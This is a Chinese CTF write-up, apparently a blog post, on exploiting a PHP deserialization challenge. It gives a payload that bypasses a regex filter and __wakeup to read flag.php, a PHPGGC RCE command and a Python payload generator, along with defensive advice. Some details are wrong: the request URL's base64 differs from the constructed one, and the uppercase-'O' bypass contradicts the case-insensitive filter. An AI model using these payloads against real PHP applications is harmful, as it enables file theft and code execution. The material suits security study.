news 2026/10/15 13:03:49

PHP反序列化漏洞实战:绕过__wakeup与正则过滤

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP反序列化漏洞实战:绕过__wakeup与正则过滤

1. 题目背景与核心考点解析

这道来自攻防世界的"Web_php_unserialize"题目,是CTF比赛中典型的PHP反序列化漏洞实战场景。作为Web安全领域的经典题型,它考察了以下几个核心知识点:

  • PHP反序列化机制的工作原理
  • __wakeup()魔术方法的特性与绕过技巧
  • 正则表达式过滤的常见规避方法
  • 利用POP链构造攻击载荷的思路

我在实际解题过程中发现,这道题的特殊之处在于它设置了多层防御机制,需要逐步分析突破。下面我将详细拆解每个环节的解题思路和具体实现方法。

2. 代码审计与漏洞定位

2.1 题目环境初步分析

首先我们拿到题目提供的源码:

<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>

2.2 关键漏洞点识别

通过代码审计可以发现三个关键点:

  1. 反序列化入口:通过GET参数var传入,经过base64解码后直接反序列化
  2. 安全防护:
    • 使用preg_match过滤了类似"O:4:"这样的对象序列化字符串
    • 定义了__wakeup()方法,会在反序列化时自动调用
  3. 攻击目标:通过控制$file属性实现任意文件读取

3. 漏洞利用链构造

3.1 绕过正则过滤

首先需要绕过preg_match('/[oc]:\d+:/i', $var)这个过滤。PHP序列化字符串中,对象的标准表示是:

O:<类名长度>:"<类名>":<属性数量>:{<属性>}

过滤规则匹配的是"o:数字:"或"c:数字:"这样的模式。我们可以通过以下方法绕过:

  1. 在数字前添加"+"号:O:+4:"Demo":1:{...}
  2. 将对象序列化字符串改为大写的"O"

经过测试,使用"+号"方法最为可靠:

$serialized = 'O:+4:"Demo":1:{s:10:"Demofile";s:8:"flag.php";}';

3.2 绕过__wakeup限制

__wakeup()方法会在反序列化时自动调用,它会将$file重置为index.php。我们需要绕过这个限制:

  1. 修改属性数量:当序列化字符串中声明的属性数量大于实际属性数量时,__wakeup()不会执行
  2. 对于private属性,需要注意序列化后的格式差异

private属性在序列化后会带有类名前缀和空字符,例如:

s:10:"Demofile"

其中10是字符串长度,"Demofile"是"\0Demo\0file"的表示(\0是空字符)

3.3 最终Payload构造

结合以上两点,构造最终payload的步骤:

  1. 创建恶意对象:
class Demo { private $file = 'flag.php'; }
  1. 序列化时修改属性数量:
$serialized = serialize(new Demo()); $exploit = str_replace(':1:', ':2:', $serialized);
  1. 处理private属性格式:
$exploit = str_replace('Demofile', "\0Demo\0file", $exploit);
  1. 添加+号绕过过滤:
$exploit = str_replace('O:4', 'O:+4', $exploit);
  1. 进行base64编码:
$payload = base64_encode($exploit);

最终生成的payload类似:

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

4. 实际操作与验证

4.1 完整攻击流程

  1. 使用PHP交互模式构造payload:
php -a
  1. 在交互环境中执行上述构造代码,得到最终payload

  2. 发送请求:

http://靶机地址/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbWvAZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
  1. 查看响应内容,获取flag.php的源代码

4.2 常见问题排查

  1. 如果返回空白页面:
  • 检查private属性的空字符处理是否正确
  • 验证base64解码后的字符串是否符合预期
  1. 如果触发"stop hacking":
  • 确认是否成功绕过了正则过滤
  • 尝试在数字前添加不同数量的+号
  1. 如果仍然显示index.php:
  • 检查属性数量是否修改正确
  • 确认__wakeup()是否被成功绕过

5. 防御方案与安全建议

5.1 安全开发建议

  1. 避免直接反序列化用户输入
  2. 使用json_encode/json_decode替代序列化操作
  3. 如果必须使用序列化,应进行严格的输入验证

5.2 加固方案示例

// 安全的反序列化实现 function safe_unserialize($input) { if (!is_string($input)) { return null; } // 检查输入长度 if (strlen($input) > 1024) { return null; } // 白名单类名检查 $allowed_classes = ['SafeClass']; $data = unserialize($input, ['allowed_classes' => $allowed_classes]); // 验证反序列化结果 if (!is_object($data) && !is_array($data)) { return null; } return $data; }

6. 技术原理深入分析

6.1 PHP序列化格式详解

PHP序列化字符串各部分的含义:

  • a - array
  • b - boolean
  • d - double
  • i - integer
  • o - 对象 (已弃用)
  • O - 对象
  • s - string
  • C - 自定义对象
  • r - 引用
  • N - null

对于对象序列化:

O:length:"classname":NN:{...}

其中NN表示属性数量,正是利用这个值来绕过__wakeup()

6.2 __wakeup绕过原理

PHP官方文档说明:

当反序列化字符串表示的对象属性数目与实际不符时,__wakeup()不会被调用

这是PHP的一个特性而非漏洞,但在安全场景下可能被利用

6.3 private属性处理机制

private属性在序列化时会添加类名前缀和空字符:

class Test { private $var = 'value'; } // 序列化后变为: O:4:"Test":1:{s:10:"Testvar";s:5:"value";}

其中"s:10:"表示长度为10的字符串,实际内容是"\0Test\0var"

7. 同类题型扩展思路

7.1 其他魔术方法利用

除了__wakeup,还需要注意:

  • __destruct:对象销毁时调用
  • __toString:对象被当作字符串使用时调用
  • __call:调用不存在方法时触发

7.2 POP链构造技巧

Property-Oriented Programming链构造要点:

  1. 寻找合适的起点(如__destruct)
  2. 分析类方法与属性之间的调用关系
  3. 通过属性控制实现方法调用链
  4. 最终到达危险函数(如system、eval等)

7.3 实际CTF中的变种

常见变种题型:

  1. 多重过滤条件组合
  2. 需要自行寻找包含漏洞的文件
  3. 结合其他漏洞类型(如SSRF、XXE等)
  4. 限制字符集的payload构造

8. 工具辅助与自动化

8.1 PHPGGC工具使用

PHPGGC是一款PHP反序列化payload生成工具:

./phpggc -l # 列出可用gadget链 ./phpggc Symfony/RCE4 exec 'cat /flag' > payload.txt

8.2 自定义payload生成脚本

import base64 import re class PayloadGenerator: def __init__(self, classname, filename): self.classname = classname self.filename = filename def generate(self): payload = f'O:{len(self.classname)}:"{self.classname}":2:{{s:{len(self.classname)+5}:' payload += f'"{chr(0)}{self.classname}{chr(0)}file";s:{len(self.filename)}:"{self.filename}";}}' # 绕过O:数字过滤 payload = payload.replace(f'O:{len(self.classname)}', f'O:+{len(self.classname)}') return base64.b64encode(payload.encode()).decode() # 使用示例 generator = PayloadGenerator('Demo', 'flag.php') print(generator.generate())

9. 学习资源与进阶方向

9.1 推荐学习资料

  1. 《PHP反序列化漏洞深入解析》- 豆瓣读书
  2. OWASP PHP反序列化备忘单
  3. PHP官方文档中的序列化相关章节

9.2 实验环境搭建

建议搭建本地测试环境:

  1. 安装PHP CLI环境
  2. 创建测试脚本验证payload
  3. 使用Docker搭建漏洞靶场

9.3 CTF实战建议

  1. 从简单题目入手,逐步提升难度
  2. 建立自己的payload代码库
  3. 参与线上CTF比赛积累经验
  4. 学习优秀选手的writeup解题思路

10. 个人实战心得

在实际解题过程中,我总结了以下几点经验:

  1. 细心观察序列化字符串的每个细节,特别是长度值和特殊字符
  2. 对于private/protected属性,要特别注意其特殊表示方式
  3. 多尝试不同的绕过方法,有时候最直接的方法反而有效
  4. 善用PHP交互模式快速测试payload
  5. 遇到问题时,可以分阶段验证每个绕过点是否成功

一个实用的小技巧:在测试payload时,可以先在本地环境验证反序列化结果,确认无误后再应用到实际题目中,这样可以节省大量时间。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/15 13:03:09

tilelang:用tile抽象重构GPU算子编译,兼顾性能与开发效率

最近一直在折腾 GPU 算子的高性能实现&#xff0c;手写 CUDA kernel 写了一年多以后&#xff0c;越来越觉得常规的“算子开发—手工调优”路线有点撑不住场面。直到把 tilelang 这个项目翻出来&#xff0c;花了两周时间把几个核心算子重新实现了一遍&#xff0c;才确定这条路是…

作者头像 李华
网站建设 2026/10/15 13:00:47

MobaXterm 2026版安装配置与高阶应用指南

1. MobaXterm 基础认知与核心价值作为一款集成了多种网络工具的全能终端软件&#xff0c;MobaXterm 在2026年最新版本中实现了对多协议连接的深度优化。这个来自法国的工具包之所以能在工程师群体中持续流行&#xff0c;关键在于它将SSH、X11、RDP、VNC等常用协议整合在统一界面…

作者头像 李华
网站建设 2026/10/15 12:59:58

SQL笔试题高分攻略:窗口函数与连续登录等高频考点解析

如果你在准备大厂面试&#xff0c;SQL笔试题大概率是笔试环节里那位“沉默杀手”。它不像算法题那样有标准模板&#xff0c;也不像八股文可以突击背诵&#xff0c;但恰恰是它筛掉了不少基本功看似扎实的候选人。我这两年帮学生、朋友复盘过好几批头部科技公司的SQL笔试题&#…

作者头像 李华
网站建设 2026/10/15 12:59:29

openrig实战:轻量级GPU资源池化与调度提升算力利用率

1. 从“机器堆着吃灰”到“算力随手取”&#xff1a;openrig到底解决了什么先说一个很多跑AI工作负载的团队都会遇到的状态&#xff1a;机器越来越多&#xff0c;利用率却一直上不去。我在过去两年里帮几个朋友看过他们内部的工作站和自建服务器&#xff0c;普遍情况是这样的—…

作者头像 李华
网站建设 2026/10/15 12:59:21

浏阳汽车贴膜哪家专业?浏阳服务好的汽车贴膜门店哪家好。最新名单!贴隐形车衣、改色膜门店选哪家

备注信息&#xff1a; 浏阳汽车后市场&#xff0c;近几年已经从简单 “贴一层膜”&#xff0c;升级为 “按车型做整套漆面与玻璃防护”。一方面&#xff0c;浏阳新能源保有量持续上涨&#xff0c;全景天幕、隐藏门把手、毫米波雷达、智能传感器越来越普及&#xff0c;贴膜早已不…

作者头像 李华